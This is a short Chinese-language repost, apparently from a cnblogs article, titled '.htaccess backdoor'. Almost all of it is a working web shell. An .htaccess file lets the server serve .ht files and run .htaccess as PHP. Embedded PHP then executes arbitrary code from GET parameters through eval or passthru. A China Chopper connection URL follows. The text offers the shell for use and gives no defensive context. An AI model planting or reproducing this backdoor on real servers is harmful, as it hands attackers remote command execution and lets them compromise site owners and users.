.htaccess 后门

<?php 
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
# <?php @eval($_GET[value]);?>
# or <?php passthru($_GET['cmd']); ?>

Chopper地址：http://localhost/.htaccess?cmd=

转载于:https://www.cnblogs.com/swane/articles/3905097.html